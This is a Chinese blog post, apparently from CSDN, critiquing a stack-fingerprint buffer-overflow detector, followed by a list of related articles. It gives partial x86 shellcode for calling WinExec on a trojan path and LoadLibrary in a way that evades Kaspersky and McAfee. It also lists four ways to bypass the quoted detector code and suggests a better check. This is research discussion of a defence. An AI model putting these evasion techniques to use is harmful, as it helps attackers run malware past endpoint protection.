点评"基于栈指纹检测缓冲区溢出的一点思路

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情
基于栈指纹检测缓冲区溢出的一点思路》原文 (by gyzy)
http://www.xfocus.net/articles/200708/936.html

呵呵,难得看到有兄弟敢写这么高深的技术.
1.绕过KABA和MCAFEE的技巧,就不多说了,除了把SC移到PEB中执行我觉得最简单的办法就是在SHELLCODE中尽量不调用 getprocaddress和loadlibrary,取API地址可以用HASH比较,取DLL基地址可以通过PEB.最主要的WINEXEC可以用如下办法:
    CALL @@nextsc
@@nextsc:
    add byte ptr [esp],0DH
    push 1 ;FOR TEST
    push esi   ;ESI指向要运行的木马的路径
    push [edi+28h] ;RET
    JMP  dword ptr [edi+8h] ;winexec,'c:/xxx',1

简单的说就是在调用winexec之前先压入getcurrentprocess函入的入口地址,或是其它的在KERNEL32.DLL中,没有参数且代码特别简单的函数.
getcurrentprocess的代码只有如下两行:
83 C8 FF or eax,-1
C3 ret
当然如果SC中必须调用漏洞程序中没有加载的DLL中的函数时可以用如下办法来调用LOADLIBRARY

    CALL @@nextsc1
@@nextsc1:
    add byte ptr [esp],0xH
    push esi   ;ESI指向要加载的DLL名
     mov eax, [edi+28h] ;RET
    add eax,3
    push eax
    JMP  dword ptr [edi+xh] ;loadlibrary,'xxxx'


2.SC中真的有指纹吗?
GYZY兄的办法我觉得有多个地方可以破突.
HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)
{
    DWORD stackbase,stacklimit,retaddr;

    __asm{
        mov eax,dword ptr [esp+0x1c]
        mov retaddr,eax
        mov eax,dword ptr fs:[4]
        mov stackbase,eax
        mov eax,dword ptr fs:[8]
        mov stacklimit,eax
    }

    if ( retaddr < stacklimit && retaddr > stackbase )
    {
overflow:
        MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
        return NULL;
    }

    //0x64 0xA1 0x30 0x00 0x00 0x00
    __asm{
        push    0x100
        pop        ecx
        mov        esi,esp
compare:
        cmp        dword ptr [esi],0x0030A164    //检测mov eax,fs:[30]
        je        overflow
        inc        esi
        loop    compare
    }

    return fLoadLibraryA(lpFileName);
}


上面是他的核心代码吧,原理应该是:先在每次调用LOADLIBRARY的时候得到当前调用线程的线程栈的
地址范围,前面的办法这儿可以很简单的突破.然后从ESP开始往高地址走100个字节,检测有没有mov eax,fs:[30]
突破1:只检查了ESP往高地址100个字节,在SC中可以在调用所有API之前先把ESP减1000h(也许可以更大要看具体情况)
突破2:SC完可能不在栈中,而在堆或是PEB中.
突破3:检测mov eax,fs:[30],这个指令的变形办法实在太多了.如果都要检测的话,我看不现实,起码严重影响性能.
突破4:不管你检测什么指令,我在调用这个指令之后,调用被HOOK的API之前我都可以把这个指令修改成NOP,只要这个指令不会再被调用.


3.在我看来检测技术不但要检测返回地址的范围,还要检测一下返回地址里的指令是不是C3或是C2 XX XX,这样还要好一点点.
起码可以把SWANCALL消灭掉. 

 
内核溢出例子 内核溢出分析例子 1.溢出日志 [  151.986352] Unable to handle kernel NULL pointer dereference at virtual address 00000124 [  151.990030] pgd = c0004000 [  151.990030] [00000124] *pgd=00000000 [  151.990030] 阅读详情

相关推荐

使用TCP/IP协议指纹进行远程操作系统辨识

使用TCP/IP协议指纹进行远程操作系统辨识( ps:主要参照fyoder的《使用TCP/IP协议指纹进行远程操作系统辨识》一文)

Bendawang's Blog 1万+

基于指纹检测缓冲区溢出一点思路

基于指纹检测缓冲区溢出一点思路 BY GYZY 一. 现有的检测溢出的模式二. 现有检测体系存在的不足三. 针对引擎要做的改进四. 关于未来 引言 当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有溢出检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的木桶理论,安全是一个整体,威胁还是无处不在。 现有的溢出检测模式 整篇文章我都以...

爱.NET 295

绕过卡巴斯基主动防御系统方法的讨论

 |=---------------------------------------------------------------------------=||=-----------------=[  绕过卡巴斯基主动防御系统方法的讨论  ]=----------------=||=--------------------------------------------------------

2100

漫谈兼容内核之二十二:Windows线程的调度和运行

  了解Windows线程的系统空间堆以后,还有必要对Windows线程的调度、切换、和运行也有所了解。当然,就兼容内核的开发而言,内核的线程调度/切换/运行机制只能有一套,而且必定是基本上沿用Linux的这套机制,而不可能在一个内核中有两套调度/运行机制。但是对于Windows这套机制的了解对于兼容内核的开发也很重要,并且还是必须的。举例来说,大家都知道在Windows系统中段寄存器FS在用户

周寅的专栏 3675

网安学习 | Kali安全渗透测试系统之【主机存活及指纹探测】工具学习实践

讲解在Kali系统下针对目标存活检测以及目标的系统指纹探测工具的介绍使用。在渗透测试前期或者后期,主机存活的探测以及系统指纹的探测尤为重要,它可以让我们明确可以向那些机器发起测试,以及明确不同的操作系统,我们应该扫描不同的特征端口,以及对应系统服务的0Day漏洞以及exploit poc。

全栈工程师修炼指南-IT知识分享 1070

[讨论]关于缓冲区溢出检测

目前,缓冲区溢出应该是攻击的最直接的方式,因此如何检测缓冲区溢出以及保护刻不容缓 ,然而当前并没有很稳定可靠的方法来对缓冲区溢出进行检测,MACFEE应该是提出缓冲区溢出保护的最早的安全厂商,然而如今也不再对该技术进行大肆宣传了,这几天在网上翻了一下,感觉Comodo公司对缓冲区溢出检测做的比较好,然后我也看不懂他采用的什么技术,如果哪位牛人来介绍一下他采用的技术就好了.后来又看了gyzy的文章

3153

缓存区溢出检测

转自:http://blog.csdn.net/galihoo/article/details/2299151 目前,缓冲区溢出应该是攻击的最直接的方式,因此如何检测缓冲区溢出以及保护刻不容缓 ,然而当前并没有很稳定可靠的方法来对缓冲区溢出进行检 测,MACFEE应该是提出缓冲区溢出保护的最早的安全厂商,然而如今也不再对该技术进行大肆宣传了,这几天在网上翻了一下,感觉Comodo公司对缓冲 区溢

刘松华-林散 3413

堆内存破坏检测实战--附完整调试过程

http://www.cnblogs.com/pugang/archive/2012/06/02/2531600.html 首先解释一下,什么是堆内存? 堆是一种常见的内存管理器,应用程序通过堆来动态地分配和释放内存,通常使用堆的情况是无法预先知道所需要的内存大小,或者申请内存太大,无法通过内存来自动分配,下面让我们再来看一段英文解释。 A heap is a form of memo

happylife1527的专栏 1058

基于堆缓冲区溢出问题记录

问题: 在release下,选择椭圆选择工具,绘制选择区域,APP crash,在离开HighLightROICell函数时报错 分析 缓冲区溢出问题本质其实就是复制一个内存区域的内容到另一个内存区域,而目标内存区域容量太小无法容纳 函数A在调用函数B时,A的函数地址会存储在堆中,若函数B中的代码存在堆溢出,一般就是内存拷贝时,目标内存分配不足导致,就是导致堆混乱,使得在离开函数B时找不...

tianzhiyi1989sq的博客 9980

stack 扩展机制

  windows中,每个线程都关联一个stack,stack的默认大小是1M,用于存放临时变量,函数参数,返回地址等。   但是当一个线程开始运行的时候不是其相关stack的内存就真正被提交,因为如果一个进程有10个线程,那么如果这10个线程的stack的内存都被提交,那么虚拟内存就占用了10M,就需要想对应的页表项等开销,而且这10M到底是否被真的使用还是个未知数,所以系统的策略是...

weixin_30881367的博客 167

如何使用windbg查看C#某个线程的大小 ?

每一个线程都有一个叫的线程环境块数据结构,这个结构中有一个叫做NT_TIB的结构,它里面有两个字段分别为StackBase和StackLimit,前面叫做,也就是顶,后者叫做,因为空间是向小地址增长的,所以用就能算出所谓的内存大小,接下来我们用windbg演示一下。......

biyusr的专栏 609

ffdff000 处的结构 KPCR

ffdff000 处的结构 KPCR作者: JIURL                 主页: http://jiurl.yeah.net     日期: 2003-11-13     ffdff000 处是一个叫做 KPCR 的结构,PCR 即 Processor Control

jiurl的专栏 6116

的思想方法

1 def largestRectangleArea(self, height): 2 height.append(0) 3 size = len(height) 4 no_decrease_stack = [0] 5 max_size = height[0] 6 i = 0 while i < size: 7 cu...

weixin_30651273的博客 184

使用的思想判断输入的括号是否存在异常

class Stack: def __init__(self): self.lst = [None for i in range(30)] self.top = -1 def ruzhan(self,data): if self.top == len(self.lst)-1: print('满了') ...

weixin_44367463的博客 195

171124 逆向-线程环境块(TEB)

1625-5 王子昂 总结《2017年11月24日》 【连续第420天总结】 A. TEB(线程环境块) B. 介绍该结构体中包含进程中运行线程的各种信息,每个线程都对应一个TEB结构体。 不同OS中TEB结构的形态略微不同。定义结构体中有非常多的成员,其中用户模式调试中起着重要作用的成员有两个:+0 NtTib : _NT_TIB ... +0X30 ProcessEnvironmentB

whklhhhh的博客 2337
上一篇: 反病毒引擎设计之可控制引擎流
下一篇: 如何优雅地关闭一个socket
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值